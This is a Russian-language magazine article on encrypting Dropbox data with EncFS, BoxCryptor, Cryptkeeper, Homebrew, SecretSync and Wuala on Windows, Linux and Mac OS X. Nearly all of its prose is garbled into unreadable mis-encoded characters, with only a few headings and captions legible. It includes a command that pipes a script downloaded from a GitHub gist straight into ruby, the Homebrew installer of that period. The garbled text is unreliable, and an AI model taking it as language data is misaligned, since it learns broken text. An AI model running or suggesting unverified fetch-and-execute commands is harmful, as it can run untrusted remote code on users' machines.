file-by-file-ÙÉÕÑÏÃÁÎÉÆ, ÓÏ ÆÒÓÝ ÐÑÉÍÆÎàÓÝ ËÑÉÐÓÏÄÑÁÕÉß ÅÌà ËÁÇÅÏÄÏ 
ÉÈ ÕÁÊÌÏÃ Ã ÏÓÅÆÌÝÎÏÒÓÉ. ¥Ìà ÞÓÏÄÏ ÉÅÆÁÌÝÎÏ ÐÏÅÖÏÅÉÓ EncFS, ÃÉÑÓÔ-
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ÁÌÝÎÁà ËÑÉÐÓÏÄÑÁÕÉØÆÒËÁà ÕÁÊÌÏÃÁà ÒÉÒÓÆÍÁ. °ÑÉ ÍÏÎÓÉÑÏÃÁÎÉÉ 
EncFS ÔËÁÈÜÃÁÆÓÒà ÅÉÑÆËÓÏÑÉà-ÉÒÓÏØÎÉË (ÉÒÖÏÅÎÁà ÅÉÑÆËÓÏÑÉà Ò ÈÁ-
ÙÉÕÑÏÃÁÎÎÜÍÉ ÕÁÊÌÁÍÉ, ËÏÓÏÑÁà ÍÏÇÆÓ ÑÁÒÐÏÌÁÄÁÓÝÒà Ã Dropbox’Æ) 
É ÓÏØËÁ ÍÏÎÓÉÑÏÃÁÎÉà. °ÏÒÌÆ ÍÏÎÓÉÑÏÃÁÎÉà ËÁÇÅÏÍÔ ÕÁÊÌÔ Ã 
ÅÉÑÆËÓÏÑÉÉ-ÓÏØËÆ ÍÏÎÓÉÑÏÃÁÎÉà ÒÏÏÓÃÆÓÒÓÃÔÆÓ ÏÐÑÆÅÆÌÆÎÎÜÊ ÕÁÊÌ ÉÈ 
ÈÁÙÉÕÑÏÃÁÎÎÏÊ ÅÉÑÆËÓÏÑÉÉ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÓÜ ÑÁÂÏÓÁÆÙÝ Ò ÕÁÊÌÁÍÉ 
Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ, Á EncFS ÐÑÏÈÑÁØÎÏ ÑÁÈÍÆÚÁÆÓ ÉÖ ÈÁÙÉÕÑÏÃÁÎÎÜÆ 
ÃÆÑÒÉÉ ÃÎÔÓÑÉ Dropbox’Á. °ÏÒËÏÌÝËÔ ËÁÇÅÜÊ ÕÁÊÌ ËÑÉÐÓÔÆÓÒà Ã ÏÓÅÆÌÝ-
ÎÏÒÓÉ, Dropbox ÍÏÇÆÓ ÒÉÎÖÑÏÎÉÈÉÑÏÃÁÓÝ ÉÈÍÆÎÆÎÉà ÉÎËÑÆÍÆÎÓÁÌÝÎÏ 
ÅÌà ËÁÇÅÏÄÏ ÉÈ ÎÉÖ. ¾ÓÏ ÏØÆÎÝ ÅÏÂÑÏÓÎÁà ÓÆÖÎÏÌÏÄÉà, ËÏÓÏÑÁà ÅÁÃÎÏ 
ÉÒÐÏÌÝÈÔÆÓÒà ÐÏÅ Linux’ÏÍ É ÏÒÎÏÃÁÎÁ ÎÁ ÓÆÖÎÏÌÏÄÉÉ FUSE (Filesystem 
in Userspace), ÐÏÈÃÏÌàßÚÆÊ ÐÑÏÄÑÁÍÍÉÒÓÁÍ ÒÏÈÅÁÃÁÓÝ ÃÉÑÓÔÁÌÝÎÜÆ 
ÕÁÊÌÏÃÜÆ ÒÉÒÓÆÍÜ. ®ÆÒÍÏÓÑà ÎÁ ÒÃÏÉ ËÏÑÎÉ, ÆÆ ÒÆÊØÁÒ ÍÏÇÎÏ ÔÒÐÆÙÎÏ 
ÉÒÐÏÌÝÈÏÃÁÓÝ ËÁË ÐÏÅ Mac OS X, ÓÁË É Windows. ®ÁØÎÆÍ Ò ÐÏÒÌÆÅÎÆÊ.  

Windows
°ÏÒÌÆ ÎÆÐÑÉàÓÎÏÊ ÉÒÓÏÑÉÉ Ò ÒÉÒÓÆÍÏÊ ÁÃÓÏÑÉÈÁ×ÉÉ Dropbox ÐÑÆÅ-
ÐÑÉÉÍØÉÃÜÆ ÎÆÍÆ×ËÉÆ ÑÆÂàÓÁ ÏÐÆÑÁÓÉÃÎÏ ÈÁÑÆÌÉÈÉÌÉ ÔÓÉÌÉÓÔ 
BoxCryptor (www.boxcryptor.com), ËÏÓÏÑÁà ÒÏÈÅÁÆÓ Ã ÒÉÒÓÆÍÆ ÃÉÑÓÔ-
ÁÌÝÎÜÊ ËÑÉÐÓÏÄÑÁÕÉØÆÒËÉÊ ÅÉÒË. «ÁÇÅÜÊ ÐÏÍÆÚÆÎÎÜÊ ÎÁ ÎÆÄÏ ÕÁÊÌ 
ÁÃÓÏÍÁÓÉØÆÒËÉ ÙÉÕÑÔÆÓÒà Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÒÓÁÎÅÁÑÓÁ AES-256. 
µÉÈÉØÆÒËÉ ÈÁÙÉÕÑÏÃÁÎÎÜÆ ÅÁÎÎÜÆ ÑÁÈÍÆÚÁßÓÒà Ã ÐÑÏÉÈÃÏÌÝÎÏÊ 
ÅÉÑÆËÓÏÑÉÉ, ÎÁÐÑÉÍÆÑ, Ã ÐÁÐËÆ Dropbox, Ã ÓÏ ÃÑÆÍà ËÁË ÎÁ ÃÉÑÓÔ-
ÁÌÝÎÏÍ ÅÉÒËÆ ÏÎÉ ÎÁÖÏÅàÓÒà Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ, É Ë ÎÉÍ ÂÆÈ ÐÑÏÂÌÆÍ 
ÍÏÇÎÏ ÏÂÑÁÓÉÓÝÒà ÉÈ ÌßÂÏÄÏ ÐÑÉÌÏÇÆÎÉà. ±ÁÈÑÁÂÏÓØÉËÉ ÐÏÒÓÔÐÉÌÉ 
ÏØÆÎÝ ÍÔÅÑÏ É ÎÆ ÒÓÁÌÉ ÉÈÏÂÑÆÓÁÓÝ ÃÆÌÏÒÉÐÆÅ, Á ÐÑÏÒÓÏ ÑÆÁÌÉÈÏÃÁÌÉ 
ÏÒÎÏÃÎÜÆ ÃÏÈÍÏÇÎÏÒÓÉ EncFS ÅÌà ÉÒÐÏÌÝÈÏÃÁÎÉà ÐÏÅ Windows. © 
ÐÔÒÓÝ BoxCryptor ÐÏÅÅÆÑÇÉÃÁÆÓ ÐÏËÁ ÎÆ ÃÒÆ ÃÏÈÍÏÇÎÏÒÓÉ ÓÆÖÎÏÌÏÄÉÉ, 
ÎÏ ÞÓÏÄÏ ÃÐÏÌÎÆ ÅÏÒÓÁÓÏØÎÏ ÅÌà ÎÁÅÆÇÎÏÊ ÈÁÚÉÓÜ ÅÁÎÎÜÖ.
°ÑÉÌÏÇÆÎÉÆ ÐÏÒÌÆ ÔÒÓÁÎÏÃËÉ ÁÃÓÏÍÁÓÉØÆÒËÉ ÏÐÑÆÅÆÌàÆÓ ÐÁÐËÔ, 
ÉÒÐÏÌÝÈÔÆÍÔß Dropbox’ÏÍ, É ÐÑÆÅÌÁÄÁÆÓ ÑÁÈÍÆÒÓÉÓÝ Ã ÎÆÊ ÅÉÑÆËÓÏÑÉß 
Ò ÈÁÙÉÕÑÏÃÁÎÎÜÍÉ ÕÁÊÌÁÍÉ. ¥Ìà ÙÉÕÑÏÃÁÎÉà ÅÁÎÎÜÖ ÓÆÂÆ ÎÆÏÂÖÏ-
ÅÉÍÏ ÐÑÉÅÔÍÁÓÝ ÐÁÑÏÌÝÎÔß ÕÑÁÈÔ, Á ÓÁËÇÆ ÃÜÂÑÁÓÝ ÂÔËÃÔ ÅÌà ÅÉÒËÁ, 
ÎÁ ËÏÓÏÑÏÍ ÂÔÅÔÓ ÑÁÒÐÏÌÁÄÁÓÝÒà ÕÁÊÌÜ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ. ¦ÒÌÉ ÓÜ ÎÆ 
ÖÏØÆÙÝ, ØÓÏÂÜ ÅÁÎÎÜÆ ÂÆÈ ÓÃÏÆÄÏ ÃÆÅÏÍÁ ÎÁÖÏÅÉÌÉÒÝ Ã ÏÓËÑÜÓÏÍ 
ÃÉÅÆ, ÐÁÑÏÌÝ ÍÏÇÎÏ ÎÆ ÒÏÖÑÁÎàÓÝ É ÃÃÏÅÉÓÝ ÆÄÏ ËÁÇÅÜÊ ÑÁÈ, ËÏÄÅÁ ÓÜ 
ÂÔÅÆÙÝ ÍÏÎÓÉÑÏÃÁÓÝ ÅÉÒË. °ÏÒÓÁÃÉÃ ÄÁÌËÔ ÎÁÐÑÏÓÉÃ «Advanced Mode», 
ÓÜ ÐÏÌÔØÉÙÝ ÅÏÒÓÔÐ Ë ÎÆËÏÓÏÑÜÍ ÓÏÎËÉÍ ÎÁÒÓÑÏÊËÁÍ BoxCryptor. ¾ÓÏ Ã 
ØÁÒÓÎÏÒÓÉ ÍÏÇÆÓ ÐÏÓÑÆÂÏÃÁÓÝÒà, ÆÒÌÉ ÆÒÓÝ ÎÆÏÂÖÏÅÉÍÏÒÓÝ ÉÒÐÏÌÝÈÏ-
ÃÁÓÝ ÃÏÈÍÏÇÎÏÒÓÝ Dropbox’Á ÅÌà ÏÓËÁÓÁ Ë ÐÑÆÅÜÅÔÚÆÊ ÃÆÑÒÉÉ ÕÁÊÌÁ. 
¥ÆÌÏ Ã ÓÏÍ, ØÓÏ BoxCryptor ÐÏ ÔÍÏÌØÁÎÉß ÙÉÕÑÔÆÓ É ÉÍÆÎÁ ÕÁÊÌÏÃ, 
ÐÑÆÃÑÁÚÁà ÉÖ Ã ÁÂÑÁËÁÅÁÂÑÔ, ÓÆÍ ÒÁÍÜÍ ÍÆÙÁà ÑÁÂÏÓÆ ÒÉÒÓÆÍÜ ÃÆÑÒÉ-

ÏÎÎÏÒÓÉ, ËÏÓÏÑÁà ÑÆÁÌÉÈÏÃÁÎÁ Ã Dropbox. °ÏÞÓÏÍÔ ÆÒÌÉ ÓÁËÁà ÃÏÈÍÏÇ-
ÎÏÒÓÝ ÓÆÂÆ ÎÔÇÎÁ, ÓÏ  ÙÉÕÑÏÃÁÎÉÆ ÉÍÆÎ ÕÁÊÌÏÃ ÐÑÉÅÆÓÒà ÏÓËÌßØÉÓÝ. 
² ÞÓÏÄÏ ÍÏÍÆÎÓÁ ÓÜ ÅÏÌÇÆÎ ÔÃÉÅÆÓÝ ÅÉÑÆËÓÏÑÉß BoxCryptor ÃÎÔÓÑÉ 
ÒÃÏÆÄÏ Dropbox’Á, Á Ã ÒÉÒÓÆÍÆ ÅÏÌÇÆÎ ÐÏàÃÉÓÝÒà ÃÉÑÓÔÁÌÝÎÜÊ ÅÉÒË (Ô 
ÍÆÎà — X:). ³ÆÐÆÑÝ Ô ÓÆÂà Ã Dropbox’Æ ÆÒÓÝ ÐÁÐËÁ, ÄÅÆ ÓÜ ÍÏÇÆÙÝ ÖÑÁ-
ÎÉÓÝ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÜÆ ÕÁÊÌÜ. ³ÔÓ ÃÁÇÎÏ ÈÁÐÏÍÎÉÓÝ ÅÃÁ ÃÁÇÎÜÖ ÐÑÁ-
ÃÉÌÁ. °ÆÑÃÏÆ — ÎÉËÏÄÅÁ ÎÆ ÒÏÖÑÁÎàÊ ÕÁÊÌÜ ÎÁÐÑàÍÔß Ã ÅÉÑÆËÓÏÑÉß 
BoxCryptor, ÞÓÏ ÍÆÒÓÏ, ÄÅÆ ÅÁÎÎÜÆ ÖÑÁÎàÓÒà Ã ÈÁÙÉÕÑÏÃÁÎÎÏÍ ÃÉÅÆ (É Ã 
ÓÁËÏÍ ÇÆ ÃÉÅÆ ÒÉÎÖÑÏÎÉÈÉÑÔßÓÒà Ò ÏÂÌÁËÏÍ). °ÏÞÓÏÍÔ ÑÁÂÏÓÁÓÝ Ò ÅÏËÔ-
ÍÆÎÓÁÍÉ ÎÁÅÏ ØÆÑÆÈ ÓÏÓ ÒÁÍÜÊ ÃÉÑÓÔÁÌÝÎÜÊ ÅÉÒË. © ÃÓÏÑÏÆ — ÎÉËÏÄÅÁ 
ÎÆ ÔÅÁÌàÊ ÉÈ ÐÁÐËÉ BoxCryptor ÕÁÊÌ encfs6.xml. £ ÎÆÍ ÎÁÖÏÅÉÓÒà 
ÃÁÇÎÁà ÅÌà EncFS ÉÎÕÏÑÍÁ×Éà, ËÏÓÏÑÁà ÎÆÏÂÖÏÅÉÍÁ ÅÌà ÓÏÄÏ, ØÓÏÂÜ 
ÅÆÙÉÕÑÏÃÁÓÝ ÅÁÎÎÜÆ.  £ ÂÆÒÐÌÁÓÎÏÊ ÃÆÑÒÉÉ ÐÑÏÄÑÁÍÍÜ ÍÏÇÎÏ ÒÏÈ-
ÅÁÓÝ ÌÏÄÉØÆÒËÉÊ ÑÁÈÅÆÌ, ÏÂÛÆÍÏÍ ÎÆ ÂÏÌÆÆ ÅÃÔÖ ÄÉÄÁÂÁÊÓ, ÓÏ ÆÒÓÝ ÑÏÃÎÏ 
ÓÁËÏÄÏ ÇÆ ÑÁÈÅÆÌÁ, ÒËÏÌÝËÏ ÐÏ ÔÍÏÌØÁÎÉß ÐÑÆÅÏÒÓÁÃÌàÆÓ Dropbox. ®Á 
ÒÌÔØÁÊ, ÆÒÌÉ ÓÆÂà ÞÓÏ ÏÄÑÁÎÉØÆÎÉÆ ÎÆ ÔÒÓÑÁÉÃÁÆÓ, É ÅÆÎÝÄÉ ÐÌÁÓÉÓÝ ÎÆ 
ÖÏØÆÓÒà, ÆÒÓÝ ÏÓËÑÜÓÁà ÑÆÁÌÉÈÁ×Éà EncFS ÅÌà Windows — encfs4win 
(gitorious.org/encfs4win). £ ÎÆÊ, ÒÁÍÏ ÒÏÂÏÊ, ÎÉËÁËÉÖ ÏÄÑÁÎÉØÆÎÉÊ ÎÆÓ. 
£ ÏÒÎÏÃÆ, ËÁË É Ã ÒÌÔØÁÆ Ò BoxCryptor, ÌÆÇÉÓ ÂÉÂÌÉÏÓÆËÁ Dokan (dokan-
dev.net), ËÏÓÏÑÁà àÃÌàÆÓÒà ÁÎÁÌÏÄÏÍ FUSE ÐÏÅ Windows É ÎÆÏÂÖÏÅÉÍÁ 
ÅÌà ÍÏÎÓÉÑÏÃÁÎÉà Ã ÒÉÒÓÆÍÆ ÒÓÏÑÏÎÎÉÖ ÕÁÊÌÏÃÜÖ ÒÉÒÓÆÍ.

Linux
£Ï ÍÎÏÄÉÖ ÅÉÒÓÑÉÂÔÓÉÃÁÖ Linux ÃÒÆ ÎÆÏÂÖÏÅÉÍÏÆ ÅÌà ÉÒÐÏÌÝÈÏÃÁÎÉà 
EncFS ÃÒÓÑÏÆÎÏ ÐÏ ÔÍÏÌØÁÎÉß, ÎÏ ÞÓÏ ÎÆ ÃÒÆÄÅÁ ÔÐÑÏÚÁÆÓ ÈÁÅÁØÔ. £ÁÇÎÏ 
ÉÒÐÏÌÝÈÏÃÁÓÝ ÒÁÍÔß ÒÃÆÇÔß ÃÆÑÒÉß ÑÁÈÑÁÂÏÓËÉ (>= 1.7), Ã ËÏÓÏÑÏÊ ÂÜÌ 
ÉÒÐÑÁÃÌÆÎ ÑàÅ ÏÙÉÂÏË. ¡ ÃÏ ÍÎÏÄÉÖ ÅÉÒÓÑÉÂÔÓÉÃÁÖ, Ë ÒÏÇÁÌÆÎÉß, ÐÏ-
ÒÓÁÃÌàÆÓÒà ÂÏÌÆÆ ÒÓÁÑÜÊ ÑÆÌÉÈ (ØÁÚÆ ÃÒÆÄÏ 1.6). ¾ÓÏ, Ë ÐÑÉÍÆÑÔ, ËÁÒÁÆÓÒà 
Ubuntu 10.10, ËÏÓÏÑÁà ÔÒÓÁÎÏÃÌÆÎÁ Ô ÍÆÎà ÎÁ ÏÅÎÏÍ ÉÈ ÎÏÔÓÂÔËÏÃ. ¢ÏÌÝ-
ÙÏÊ ÐÑÏÂÌÆÍÜ ÈÅÆÒÝ ÎÆÓ. ®ÔÇÎÏ ÌÉÙÝ ÔÒÓÁÎÏÃÉÓÝ ÎÏÃÔß ÃÆÑÒÉß EncFS É 
ÅÌà ÔÅÏÂÒÓÃÁ ÑÁÂÏÓÜ Ò ÎÆÊ ÆÚÆ GUI-ÔÓÉÌÉÓÔ Cryptkeeper: 

sudo apt-get install encfs cryptkeeper

°ÏÒÌÆ ÏËÏÎØÁÎÉà ÔÒÓÁÎÏÃËÉ ÍÜ ÍÏÇÆÍ ÈÁÐÔÒÓÉÓÝ Cryptkeeper ØÆÑÆÈ 
ÍÆÎß «Applications Æ System Tools Æ Cryptkeeper» É ÉÍÐÏÑÓÉÑÏÃÁÓÝ 
ÈÁÙÉÕÑÏÃÁÎÎÔß ÅÉÑÆËÓÏÑÉß:

 025

Файлы: в открытом и зашифрованном виде

Указываем парольную фразу для шифрования файлов
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1. £ ÏÂÌÁÒÓÉ ÔÃÆÅÏÍÌÆÎÉÊ ÃÜÂÉÑÁÆÍ «Cryptkeeper Æ Import EncFS 
folder».
2. ¥ÁÌÆÆ ÔËÁÈÜÃÁÆÍ ÅÉÑÆËÓÏÑÉß, ÄÅÆ ÎÁÖÏÅàÓÒà ÈÁÙÉÕÑÏÃÁÎÎÜÆ 
ÕÁÊÌÜ (ÓÏ ÆÒÓÝ ÐÁÐËÔ BoxCryptor’Á).
3. © ÏÐÑÆÅÆÌàÆÍ ÇÆÌÁÆÍÔß ÓÏØËÔ ÍÏÎÓÉÑÏÃÁÎÉà, ØÆÑÆÈ ËÏÓÏÑÔß ÍÜ 
ÒÍÏÇÆÍ ÏÂÑÁÚÁÓÝÒà Ë ÅÁÎÎÜÍ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ.
°ÏÒÌÆ ÞÓÏÄÏ Ã ÍÆÎß Cryptkeeper ÐÏàÃÉÓÒà ÐÔÎËÓ ÅÌà ÂÜÒÓÑÏÄÏ 
ÐÏÅËÌßØÆÎÉà ÓÏÍÁ EncFS: ÎÁÐÑÉÍÆÑ, «Cryptkeeper > /home/step/
Documents/Safe». °ÏÒÌÆ ÃÃÏÅÁ ÐÁÑÏÌà Ã ÒÉÒÓÆÍÆ ÐÏàÃÉÓÒà ÎÆÏÂÖÏ-
ÅÉÍÜÊ ÎÁÍ ÓÏÍ Ò ÑÁÒÙÉÕÑÏÃÁÎÎÜÍÉ ÕÁÊÌÁÍÉ. ÏÇÎÏ ÂÜÌÏ ÏÂÏÊÓÉÒÝ 
É ÂÆÈ ÃÒàËÉÖ GUI-ÔÓÉÌÉÓ, ÐÑÏÒÓÏ ÐÏÅËÌßØÉÃ EncFS-ÓÏÍ Ã ËÏÎÒÏÌÉ: 

encfs ~/Dropbox/BoxCryptor/ ~/BoxCryptor  

°ÆÑÃÜÊ ÐÁÑÁÍÆÓÑ ÔËÁÈÜÃÁÆÓ ÎÁ ÑÁÒÐÏÌÏÇÆÎÉÆ ÈÁÙÉÕÑÏÃÁÎÎÏÄÏ 
ÓÏÍÁ, Á ÃÓÏÑÏÊ — ÎÁ ÓÏØËÔ ÍÏÎÓÉÑÏÃÁÎÉà ÕÁÊÌÏÃ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ.

Mac OS X
´ÒÓÁÎÏÃËÁ EncFS ÐÏÅ Mac OS X, ÐÏÇÁÌÔÊ, ÒÌÏÇÎÆÆ ÃÒÆÄÏ ÑÆÁÌÉÈÔÆÓÒà 
ÉÈ-ÈÁ ÎÆÏÂÖÏÅÉÍÏÒÓÉ ÉÎÒÓÁÌÌÉÑÏÃÁÓÝ ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÉÎÒÓÑÔÍÆÎÓÜ. 
®Ï ÞÓÏ ÃÒÆ ÑÁÃÎÏ ÎÆ ÈÁÊÍÆÓ ÍÎÏÄÏ ÃÑÆÍÆÎÉ, Á ÔÒÓÁÎÏÃÌÆÎÎÜÆ ÉÎÒÓÑÔ-
ÍÆÎÓÜ ÃÒÆ ÑÁÃÎÏ ÆÚÆ ÎÆ ÑÁÈ ÐÑÉÄÏÅàÓÒà Ã ÑÁÂÏÓÆ. ¤ÌÁÃÎÁà ÈÁÄÃÏÈÅËÁ 
ÓÔÓ Ã ÓÏÍ, ØÓÏ ÃÒÆ ÑÁÒÐÑÏÒÓÑÁÎàÆÍÜÆ ÂÉÎÁÑÎÉËÉ EncFS ÅÌà ÍÁËÏÒÉ 
ÂÆÈÎÁÅÆÇÎÏ ÔÒÓÁÑÆÌÉ, ÐÏÞÓÏÍÔ ÎÁÍ ÐÑÉÅÆÓÒà ÃÒÆ Ò\ÏÂÉÑÁÓÝ ÃÑÔØÎÔß. 
°ÏÑàÅÏË ÅÆÊÒÓÃÉÊ ÈÅÆÒÝ ÓÁËÏÊ:
1. ̧ ÓÏÂÜ ÒÑÁÈÔ ÏÂÈÁÃÆÒÓÉÒÝ ËÏÍÐÉÌàÓÏÑÏÍ É ÅÑÔÄÉÍÉ ÎÆÏÂÖÏÅÉÍÜÍÉ 
ÉÎÒÓÑÔÍÆÎÓÁÍÉ ÅÌà ÒÂÏÑËÉ EncFS, ÌÔØÙÆ ÃÒÆÄÏ ÔÒÓÁÎÏÃÉÓÝ ÐÁËÆÓ 
ÑÁÈÑÁÂÏÓØÉËÁ. XCode(developer.apple.com). ©ÅÆÁÌÝÎÏ ÐÏÅÏÊÅÆÓ ÂÆÒ-
ÐÌÁÓÎÁà 3-à ÃÆÑÒÉà.
2. ¥ÁÌÆÆ ÐÏÓÑÆÂÔÆÓÒà MacFUSE (code.google.com/p/macfuse), ÐÏÑÓÉ-
ÑÏÃÁÎÎÁà ÐÏÅ Mac OS X ÃÆÑÒÉà ÐÑÏÆËÓÁ FUSE, ËÏÓÏÑÜÊ Ã ÒÃÏß ÏØÆÑÆÅÝ 
ÉÒÐÏÌÝÈÔÆÓ EncFS. °ÑÏÒÓÏ ÈÁÐÔÒËÁÆÍ ÈÁÄÑÔÇÆÎÎÜÊ MacFUSE.pkg, É 
ÔÒÓÁÎÏÃÚÉË ÃÒÆ ÒÅÆÌÁÆÓ ÒÁÍ.
3. ¥ÁÌÆÆ ÍÏÇÎÏ ÂÜÌÏ ÂÜ ÔÒÓÁÎÏÃÉÓÝ ÔÇÆ É ÒÁÍ EncFS, ÎÏ ÓÁË ËÁË 
ÞÓÏ ÐÑÏÚÆ ÃÒÆÄÏ ÒÅÆÌÁÓÝ ØÆÑÆÈ ÍÆÎÆÅÇÆÑ ÐÁËÆÓÏÃ (Á ËÏÎËÑÆÓÎÏ 
Homebrew), ÓÏ ÐÑÉÅÆÓÒà ÈÁÉÎÒÓÁÌÌÉÓÝ É ÆÄÏ:

ruby -e "$(curl -fsSL https://raw.github.com/gist/323731)"  

4. £ÏÓ ÓÆÐÆÑÝ ÍÜ ÍÏÇÆÍ ÈÁÄÑÔÈÉÓÝ ÉÒÖÏÅÎÉËÉ EncFS É ÒÏÂÑÁÓÝ ÉÖ Ô 
ÒÆÂà ÎÁ ËÏÍÐÝßÓÆÑÆ. Homebrew ÒÅÆÌÁÆÓ ÃÒÆ ÈÁ ÎÁÒ, ÐÏÅÄÑÔÈÉÃ ÃÒÆ 
ÎÆÏÂÖÏÅÉÍÜÆ ÈÁÃÉÒÉÍÏÒÓÉ (ÎÆ ÈÑà ÇÆ ÍÜ ÆÄÏ ÒÓÁÃÉÌÉ): 

brew install encfs

5. £ÒÆ — EncFS Ã ÒÉÒÓÆÍÆ! ÏÇÎÏ ÈÁÊÓÉ Ã ÓÆÑÍÉÎÁÌ É ÐÑÉÍÏÎÓÉÑÏÃÁÓÝ 
Ë ÒÉÒÓÆÍÆ ËÁÓÁÌÏÄ BoxCryptor’Á (ØÁÚÆ ÃÒÆÄÏ ÞÓÏ ~/Dropbox/BoxCryptor) 
Ã ÓÔ ÐÁÐËÔ, ÄÅÆ ÂÔÅÔÓ ÑÁÒÐÏÌÁÄÁÓÝÒà ÕÁÊÌÜ Ã ÏÓËÑÜÓÏÍ ÃÉÅÆ (ÒËÁÇÆÍ, ~/
Dropbox/BoxCryptor):

encfs ~/Dropbox/BoxCryptor ~/BoxCryptor  

¯Ó ÑÁÂÏÓÜ Ã ËÏÎÒÏÌÉ ÉÈÂÁÃÉÓ ÏÓÌÉØÎÁà GUI-ÔÓÉÌÉÓÁ MacFusion 
(www.macfusionapp.org) Ò ÐÏÅËÌßØÆÎÎÜÍ ÐÌÁÄÉÎÏÍ ÅÌà ÐÏÅÅÆÑÇËÉ 
EncFS (thenakedman.wordpress.com/encfs).

Выбираем альтернативу
BoxCryptor É EncFS, Ã ÐÑÉÎ×ÉÐÆ, ÎÆ ÆÅÉÎÒÓÃÆÎÎÁà ÑÁÈÑÁÂÏÓËÁ, 

Криптодиск X:

Лог SecretSync
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ÐÑÆÅÌÁÄÁßÚÁà ÅÏÐÏÌÎÉÓÆÌÝÎÜÊ ÒÌÏÊ ÙÉÕÑÏÃÁÎÉà ÐÏÃÆÑÖ Dropbox. 
¡ÎÁÌÏÄÉØÎÜÊ ÕÔÎË×ÉÏÎÁÌ (Ò ÙÉÕÑÏÃÁÎÉÆÍ ÐÏ AES-256) ÐÑÆÅÌÁÄÁÆÓ 
ÓÁËÇÆ SecretSync (getsecretsync.com/ss). ®Á ÏÕÉ×ÉÁÌÝÎÏÍ ÒÁÊÓÆ 
ÐÑÏÆËÓÁ ÒÆÊØÁÒ ÅÏÒÓÔÐÎÜ ÃÆÑÒÉÉ ÅÌà Windows É Linux, Á ÑÆÌÉÈ ÅÌà 
OS X ÏÂÆÚÁÆÓÒà Ã ÒÁÍÏÍ ÂÌÉÇÁÊÙÆÍ ÂÔÅÔÚÆÍ. °ÑÁÃÅÁ, ÎÁÐÉÒÁÎ 
ËÌÉÆÎÓ ÎÁ Java, Á à ÐÑÉ ÃÒÆÍ ÒÃÏÆÍ ÔÃÁÇÆÎÉÉ Ë ÞÓÏÍÔ àÈÜËÔ ÐÑÏ-
ÄÑÁÍÍÉÑÏÃÁÎÉà, ÏØÆÎÝ ÎÆ ÌßÂÏß ÑÆÁÌÉÈÏÃÁÎÎÜÆ Ò ÆÄÏ ÐÏÍÏÚÝß 
ÅÆÒËÓÏÐÎÜÆ ÐÑÉÌÏÇÆÎÉà. 
³ÁË ØÓÏ ÍÏÇÎÏ ÒËÁÈÁÓÝ, ØÓÏ BoxCryptor ÐÏÃÆÈÌÏ :). °ÏÐÑÏÂÔÆÍ ÓÆÐÆÑÝ 
ÐÏÒÍÏÓÑÆÓÝ ÎÁ ÐÑÏÂÌÆÍÔ Ò ÅÑÔÄÏÊ ÒÓÏÑÏÎÜ. ±ÁÈ ÒÁÍ ÒÆÑÃÉÒ ÎÆ ÃÜ-
ÐÏÌÎàÆÓ ÓÆ ÏÂàÈÁÎÎÏÒÓÉ, ËÏÓÏÑÜÆ ÍÜ ÏÓ ÎÆÄÏ ÏÇÉÅÁÆÍ, ÓÏ ÍÏÇÆÓ 
ÂÜÓÝ ÆÄÏ ÐÑÏÒÓÏ ÐÏÍÆÎàÓÝ ÎÁ ØÓÏ-ÓÏ ÅÑÔÄÏÆ? ̈ ÁÅÁØÁ, ËÁË ÎÉ ËÑÔÓÉ, 
ÎÆ ÔÎÉËÁÌÝÎÁ — ÆÒÓÝ ×ÆÌÜÊ ÑàÅ ÐÑÏÆËÓÏÃ, ÐÑÆÅÌÁÄÁßÚÉÖ ÒÉÎÖÑÏ-
ÎÉÈÁ×Éß ÕÁÊÌÏÃ ÍÆÇÅÔ ÑÁÈÎÜÍÉ ËÏÍÐÝßÓÆÑÁÍÉ É ÔÒÓÑÏÊÒÓÃÁÍÉ, 
ÎÏ ÒÏ ÈÎÁØÉÓÆÌÝÎÏ ÂÏÌÝÙÉÍ ÔÐÏÑÏÍ ÎÁ ÂÆÈÏÐÁÒÎÏÒÓÝ ÅÁÎÎÜÖ. 
¯ÅÉÎ ÉÈ ÎÁÉÂÏÌÆÆ ÎÁÙÔÍÆÃÙÉÖ ÉÈ ÎÉÖ — Wuala (www.wuala.com), 
ËÏÓÏÑÜÊ ÐÏÈÉ×ÉÏÎÉÑÔÆÓÒà ÒÏÈÅÁÓÆÌàÍÉ ËÁË «ÂÆÈÏÐÁÒÎÏÆ ÏÎÌÁÊÎ-
ÖÑÁÎÉÌÉÚÆ». ²ÆÑÃÉÒ Ã ÐÏÒÌÆÅÎÆÆ ÃÑÆÍà ÁÄÑÆÒÒÉÃÎÏ ÑÁÈÃÉÃÁÆÓÒà 
É ÐÑÆÅÌÁÄÁÆÓ ÐÑÁËÓÉØÆÒËÉ ÃÒÆ ÓÆ ÇÆ ÒÁÍÜÆ ÃÏÈÍÏÇÎÏÒÓÉ, ØÓÏ ÆÒÓÝ Ô 
Dropbox’Á. ́ ÇÆ ÒÆÊØÁÒ ÅÏÒÓÔÐÎÜ ËÌÉÆÎÓÜ ÅÌà Windows, Linux, Mac, Á 
ÓÁËÇÆ iPhone É Android.
¥Ìà ÁÔÓÆÎÓÉÕÉËÁ×ÉÉ Wuala ÉÒÐÏÌÝÈÔÆÓ ÒÓÁÎÅÁÑÓ RSA-2048, Á ÅÌà 
ÙÉÕÑÏÃÁÎÉà ÕÁÊÌÏÃ — AES-128. ¢ÆÈÏÐÁÒÎÏÒÓÝ ÅÏÂÁÃÌàÆÓ ÆÚÆ É 
ÑÁÒÐÑÆÅÆÌÆÎÎÜÊ ÐÏÅÖÏÅ ÒÆÑÃÉÒÁ Ë ÖÑÁÎÆÎÉß ÑÆÒÔÑÒÏÃ. ¥ÆÌÏ Ã ÓÏÍ, 
ØÓÏ Ã ÏÒÎÏÃÆ ÒÆÑÃÉÒÁ ÌÆÇÉÓ ÓÆÖÎÏÌÏÄÉà, ÒÎÉÇÁßÚÁà ÈÁÓÑÁÓÜ ÒÆÑ-
ÃÆÑÏÃ ÂÌÁÄÏÅÁÑà ÉÒÐÏÌÝÈÏÃÁÎÉß ÐÑÏÒÓÁÉÃÁßÚÉÖ ÑÆÒÔÑÒÏÃ. «ÏÄÅÁ Ã 
